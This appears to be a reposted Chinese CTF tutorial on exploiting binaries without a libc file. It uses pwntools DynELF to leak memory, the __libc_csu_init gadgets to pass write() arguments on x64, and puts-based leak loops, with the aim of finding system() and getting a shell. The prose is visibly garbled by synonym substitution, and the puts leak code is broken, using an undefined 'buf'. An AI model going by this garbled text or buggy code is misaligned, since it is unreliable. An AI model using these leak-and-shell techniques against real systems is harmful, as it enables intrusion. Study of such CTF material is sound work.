当前位置:首页 > 电脑常识 > 正文

借助DynELF实现无libc的缝隙操作小结 8090安适门户

11-20 电脑常识

在没有方针系统libc文件的情况下,我们可以使用pwntools的DynELF模块来泄漏地点信息,从而获取到shell。本文针对linux下的puts和write,分袂给出了实现DynELF关键函数leak的要领,并通过3道CTF标题问题介绍了这些要领的具体应用情况。
DynELF
DynELF是pwntools中专门用来应对无libc情况的缝隙操作模块,其根基代码框架如下。
p = process('./xxx')
def leak(address):
#各类预措置惩罚惩罚
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
#各类措置惩罚惩罚
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF("./xxx"))      #初始化DynELF模块
systemAddress = d.lookup('system', 'libc')  #在libc文件中搜索system函数的地点
需要使用者进行的事情主要集中在leak函数的具体实现上,上面的代码只是个模板。此中,address就是leak函数要泄漏信息的地址地点,而payload就是触发方针措施泄漏address处信息的打击代码。
使用条件
不管有没有libc文件,要想获得方针系统的system函数地点,首先都要求方针二进制措施中存在一个能够泄漏方针系统内存中libc空间内信息的缝隙。同时,由于我们是在对方内存中不停搜索地点信息,故我们需要这样的信息泄露缝隙能够被重复挪用。以下是大抵归纳的主要使用条件:
1)方针措施存在可以泄露libc空间信息的缝隙,如read@got就指向libc地点空间内;
2)方针措施中存在的信息泄露缝隙能够重复触发,从而可以不停泄露libc地点空间内的信息。
固然,以上仅仅是实现操作的根基条件,差此外方针措施和运行环境城市有一些坑需要绕过。接下来,我们主要针对write和puts这两个遍及用来泄漏信息的函数在实际共同DynELF事情时可能遇到的问题,给出相应的解决要领。
write函数
write函数原型是write(fd, addr, len),即将addr作为起始地点,读取len字节的数据到文件流fd(0暗示标准输入流stdin、1暗示标准输出流stdout)。write函数的长处是可以读取任意长度的内存信息,即它的打印长度只受len参数控制,错误谬误是需要通报3个参数,出格是在x64环境下,可能会带来一些困扰。
在x64环境下,函数的参数是通过寄存器通报的,rdi对应第一个参数,rsi对应第二个参数,rdx对应第三个参数,往往凑不出类似“pop rdi; ret”、“pop rsi; ret”、“pop rdx; ret”等3个传参的gadget。此时,可以考虑使用__libc_csu_init函数的通用gadget,具体道理请参见文章。简单的说,就是通过__libc_csu_init函数的两段代码来实现3个参数的通报,这两段代码遍及存在于x64二进制措施中,只不过是间接地通报参数,而不像本来,是通过pop指令直接通报参数。
第一段代码如下:
.text:000000000040075A   pop  rbx  #需置为0,为共同第二段代码的call指令寻址
.text:000000000040075B   pop  rbp  #需置为1
.text:000000000040075C   pop  r12  #需置为要挪用的函数地点,注意是got地点而不是plt地点,因为第二段代码中是call指令
.text:000000000040075E   pop  r13  #write函数的第三个参数
.text:0000000000400760   pop  r14  #write函数的第二个参数
.text:0000000000400762   pop  r15  #write函数的第一个参数
.text:0000000000400764   retn
第二段代码如下:
.text:0000000000400740   mov  rdx, r13
.text:0000000000400743   mov  rsi, r14
.text:0000000000400746   mov  edi, r15d
.text:0000000000400749   call  qword ptr [r12+rbx*8]
这两段代码运行后,会将栈顶指针移动56字节,我们在栈中安插56个字节即可。
这样,我们便解决了write函数在leak信息中存在的问题,具体的应用会放到后面的3道标题问题中讲。
puts函数
puts的原型是puts(addr),即将addr作为起始地点输出字符串,直到遇到“\x00”字符为止。也就是说,puts函数输出的数据长度是不受控的,只要我们输出的信息中包罗\x00截断符,输出就会终止,且会自动将“\n”追加到输出字符串的末尾,这是puts函数的错误谬误,而长处就是需要的参数少,只有1个,无论在x32还是x64环境下,都容易挪用。
为了克服输入不受控这一错误谬误,我们考虑操作puts函数输出的字符串最后一位为“\n“这一特点,分两种情况来解决。
(1)puts输出完后就没有其他输出,在这种情况下的leak函数可以这么写。
def leak(address):
count = 0
data = ''
payload = xxx
p.send(payload)
print p.recvuntil('xxx\n') #必然要在puts前释放完输出
up = ""
while True:
#由于接收完标识表记标帜字符串结束的回车符后,就没有其他输出了,故先期待1秒钟,如果确实接收不到了,就说明输出结束了
#以便与不是标识表记标帜字符串结束的回车符(0x0A)混淆,这也操作了recv函数的timeout参数,即当timeout结束后仍得不到输出,则直接返回空字符串””
c = p.recv(numb=1, timeout=1)
count += 1
if up == '\n' and c == "":  #接收到的上一个字符为回车符,而当前接收不到新字符,则
buf = buf[:-1]             #删除puts函数输出的末尾回车符
buf += "\x00"
break

温馨提示: 本文由杰米博客推荐,转载请保留链接: https://www.jmwww.net/file/pc/12510.html

博客主人杰米WWW
杰米博客,为大家提供seo以及it方面技巧喜欢的朋友收藏哦!
  • 11365文章总数
  • 1378073访问次数
  • 建站天数
  •